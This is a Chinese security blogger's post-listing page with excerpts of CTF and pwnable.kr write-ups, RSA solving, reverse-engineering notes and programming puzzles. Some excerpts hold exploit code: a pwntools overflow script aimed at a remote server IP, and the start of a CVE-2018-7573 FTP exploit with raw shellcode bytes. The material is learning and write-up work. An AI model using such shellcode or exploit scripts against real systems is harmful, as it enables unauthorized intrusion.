自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(26)
  • 问答 (1)
  • 收藏
  • 关注

原创 一道华为简单算法题记录-汽水瓶

一道华为简单算法题记录背景解法描述进一步思考推广背景今天公司同事提到了面试一位新人的时候提出的问题,感觉有点意思,记录下吧。假设一瓶汽水售价一元,三个瓶盖可以换一瓶汽水,两个瓶子可以换一瓶汽水,问20元可以喝多少汽水。解法描述看到这个题目,最直接的做法,就是写个程序,模拟买汽水-换汽水的过程,直到剩余的瓶盖或者瓶体买不到汽水。然而这样写似乎有点太麻烦了,依稀记得这种换汽水问题是小学的必...

2019-01-20 23:13:40 983

原创 Ethernaut 题解

1. Fallback首先看代码2. Fallout3. CoinFlip代码如下:pragma solidity ^0.4.18;contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 5789604461865809771178...

2018-12-03 21:50:30 972

原创 ISCC2018线下赛私地pwn

拿到题目,还是首先checksec,看开了什么保护。开启了栈溢出检查,和栈执行保护。首先这个题目,需要过四个phase,然后就能print_flag打印flag有点像计算机系统拆炸弹。phase_1第一个炸弹要求输入一个数x,使得3*(2*x/37-18)-1=1337.这里推荐一个z3求解器。可以很好的解决一些求解不等式,求解方程的问题。phase_2要求输入一串数组...

2018-10-24 14:04:58 1173

原创 Crypto

RSA1RSA1和RSA2是一样的代码。整个然后告诉了我们大整数N,公钥e。然后告诉我们flag使用该私钥e加密。加密方法就是典型的RSA,即求flag的e次方然后模N1。 根据大整数N1后面的提示,我们可以直接将N1分解,有一个在线分解大整数的网站:http://factordb.com/得到N1=p*q=41 · 4009469095092088103068373529276146838921...

2018-07-12 18:51:16 1086 3

原创 Pwn

Pwn1拿到程序IDA分析发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系所以利用代码如下:from pwn import *p = remote ("139.224.220.67" ,30004)payload = 'a'*0x501p.sendline(payload)p.interactive()Pwn2打开IDA分析,是一个经...

2018-07-11 21:50:35 2446

原创 CVE-2018-7573复现与利用

# !/usr/bin/pythonimport socket# import sysport = 21shell1 = "\x33\xC0\x64\x03\x40\x30\x78\x0C\x8B\x40\x0C\x8B\x70\x1C\xAD"shell1 += "\x8B\x40\x08\xEB\x09\x8B\x40\x34\x8D\x40\x7C\x8B\x40\x3C"//绑...

2018-03-26 22:51:56 1574

原创 pwnable.kr 之simplelogin

这道题目还是很有意思的。是自从参加了一次pwn培训之后的第一道题目,感觉确实比以前舒服多了。 下载题目,IDA反汇编,基本逻辑很简单,输入一个字符串,进行base64解密,然后比对长度,如果超过12个就直接报错。 漏洞点找了很久,这个漏洞点确实很巧妙。开始的时候,checksec了一下。 发现开启了栈执行保护,和缓冲区溢出保护。所以直接放弃了栈溢出这个思路,

2017-12-09 17:40:23 333

转载 IDA常见宏定义

* This file contains definitions used by the Hex-Rays decompiler output. It has type definitions and convenience macros to make the output more readable. Copyright (c) 2007-2011 Hex-Rays

2017-11-02 20:14:57 3483

原创 奇怪的群名片

今天在某QQ群看到一个有趣的现象,! 就是我@了这个人以后无论我怎么弄,只要我在后面说话,内容就会跑到引号里面去。这不禁让我大吃一惊。有种找到了QQ漏洞的感觉,似乎分析一下可以从里面做文章。但是后来证实我想多了。 好的,既然有这么牛逼的事情,我自然要亲自尝试一下。将我的群备注在另一个群里改成了“printf(“”);”。结果。。。。。。 经过多次在群里@自己,发现还是

2017-08-09 15:44:10 14252 1

原创 函数参数传递笔记 2017-7-2

调试函数参数的有一个较好的办法,在call函数调用之前查看ESP指向的内容,也就是栈顶,此时的栈顶存放的就是函数参数了。在Windows下从栈顶向下依次是函数从左到右的参数。在Linux下通过寄存器传参。从左向右的顺序是rdi rsi ,rdx,rcx,r8,r9,对于超出6个以上的函数参数,被放置在栈中,放置方式和Windows中一样,从调用前的栈顶向下看即可。函数开始执行的时候是压入返

2017-07-02 23:34:04 400 1

原创 配置sublimetext3 C++环境 配置文件

关于配置sublinetext3C++开发环境,尝试了好多次终于成功配置成功,Mark一下配置成功的文件。中间遇到了好多错误,要么就是pause不能顺利执行,程序直接一闪而过很不舒服,后来莫名奇妙正确了以后,怎么改都pause成功了,至今不知道问题出在哪里。要么根本无法编译,提示 No Build System 虽然自建的NewC++就摆在那里。最后解决办法是先把原来的删除,再放一遍就莫名奇妙的好

2017-06-27 16:44:37 1067

原创 一个简单的公私钥加密算法

#include #include #include using namespace std;struct public_key{ int n; int x;};struct private_key{ int p; int q;};int power(int x,int y,int m)//cal x^y%m{ if(y==0)return 1%m; in

2017-06-09 21:24:40 1847

原创 模p平方根算法实现

#include #include #include using namespace std;int power(int x,int y,int m)//cal x^y%m{ if(y==0)return 1%m; int ret=x%m; for(int i=0;i<y-1;i++) ret=(ret*x)%m; return ret;}int normal_pow

2017-06-09 21:22:05 5198

原创 ss素性检验实现与雅克比符号计算

最近在做ss素性检验,记录一下算法的实现过程。关键是雅克比符号的计算,之前一直很糊涂。也记录一下#include #include #include using namespace std;long long power(int x,int y,int m)//cal x^y%m{ if(y==0)return 1%m; long long ret=x%m; for(i

2017-06-09 21:11:47 903

原创 2017/4/23学习python笔记

Python  的 str()函数和repr()函数都是将任意对象转化成一个字符串来输出,但是repr比较友好一些。一般情况先eval函数可以将repr函数转化成的字符串再恢复成原来的对象,但是str所产生的字符串就不能被恢复。关于eval函数功能可以说是十分强大,官方解释为:将字符串str当成有效的表达式来求值并返回计算结果。可以直接把传入的字符串翻译成可以解释的形式然后直接得出值,所以可以

2017-04-23 21:32:49 441

原创 2017/4/22inlinehook学习

http://www.cnblogs.com/zhangdongsheng/archive/2013/04/08/3007154.html学习这部分,不要被复杂的Windows编程类型所困扰首先说明大概原理,我们既然要hook某一个函数P,让其首先执行我们的函数Q就是达到这样一个过程的话,本来是P,现在我们让它先P->Q->P那么只要修改P的前几行指令,让其跳转到我们的Q函数地址上,一

2017-04-22 09:57:34 376

原创 2017/4/20

Python code object的逆向:生成codeobject的方法是可以通过compile生成: code_str = """def hello():\n print"hello,world\\n"\nimport hashlib\nhashlib.sha1()\nhello()""" code_obj = compile(code_str, '', 'exec') di

2017-04-20 20:45:43 407

原创 pwnable.kr之uaf

Uaf-useafter free是指堆在被释放后,因为指针没有置为0,从而导致的可以利用这个指针重新利用本应该被释放空间的漏洞。一般情况下,包含这个漏洞会导致程序崩溃,但是如果别有用心者,把这块空间利用起来,比如c++new一个class的时候,里面经常后包含大量的函数指针,而且经常会被调用,如果我们把这个指针覆盖成我们想要执行的地址,那么当后面错误地调用这个函数的时候,就会导致我们的代码执行,

2017-04-13 12:54:25 493

原创 pwnable.kr之cmd2

#include #include int filter(char* cmd){ intr=0; r+= strstr(cmd, "=")!=0; r+= strstr(cmd, "PATH")!=0; r+= strstr(cmd, "export")!=0; r+= strstr(cmd, "

2017-04-12 19:53:03 1835 2

转载 pwnable.kr coin1

# coding: utf-8from socket import*import randomimport timeHOST = '0.0.0.0'PORT = 9007# 建立socket对象client = socket(AF_INET, SOCK_STREAM)# AF_INET表示将使用标准的ipv4地址或主机名# SOCK_STREAM说明这是一个TCP客户

2017-04-08 23:12:20 527 1

原创 pwnable.kr之leg ARM指令初步了解

汇编语言分为好多种,在这道题中展示的是ARM指令集,ARM指令集还包含一种thumb指令集,thumb指令集的出现时为了应对早起的开发者面对的内存不足而设计的,因为thumb指令集和ARM指令集看起来没什么不一样,但是在生成的时候,thumb指令集可以使得可执行文件更小一点。ARM到thumb之间的跳转互换用的是bx,blx。后来由于在开发过程中容易被跳来跳去弄昏头,所以发明了thumb2指令

2017-04-07 00:10:14 620

原创 pwnable之input

第一题还可以用脚本来做,只要把文件分隔符设置为一个其他符号就可以了,这里我们设为“-”但是第二题就不那么简单了。IFS='-'//设置分隔符为“-”./input `python-c 'pr

2017-04-04 18:42:34 1010

原创 pwnable 之collision

pwnable collision

2017-03-28 13:43:25 1124

原创 pwn题解第一道

今天听说了一个网站pwnable.kr。很适合初学者,就试着做了一道题目。第一道题目,按照网页上给的链接,使用putty链接工具联入。输入ls命令查看文件内容。很开心的看到了flag文件,于是直接打开,果然不出所料,我是没有权限打开的。然后查看了一下fd.c的代码。#include #include #include char buf[32];int main(in

2017-03-24 22:36:00 1818 1

原创 Cannot add foreign key constraint常见原因总结

foreign key 不能添加常见原因:1.检查是否指向的键是主键。2.检查是否已经建立了索引,一个外键必然会有一个索引。3.检查是否表内已经存有数据,导致约束失败4.检查被参考键和参考键的类型是否相同5.检查是否重建了同名的索引,比如第一次建立失败,再次建立可能会因为索引重复导致失败6.检查是否在键上设置了unsigned。...

2017-03-05 23:05:32 5629 1

原创 Windows编程中字符串表示

总结在调用Windows API的时候遇到的关于字符串的一些问题,以及由于编码方式不同导致的乱码,找不到文件位置等问题。 深入理解字符串和字符串编码。

2016-07-27 17:46:51 1181

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除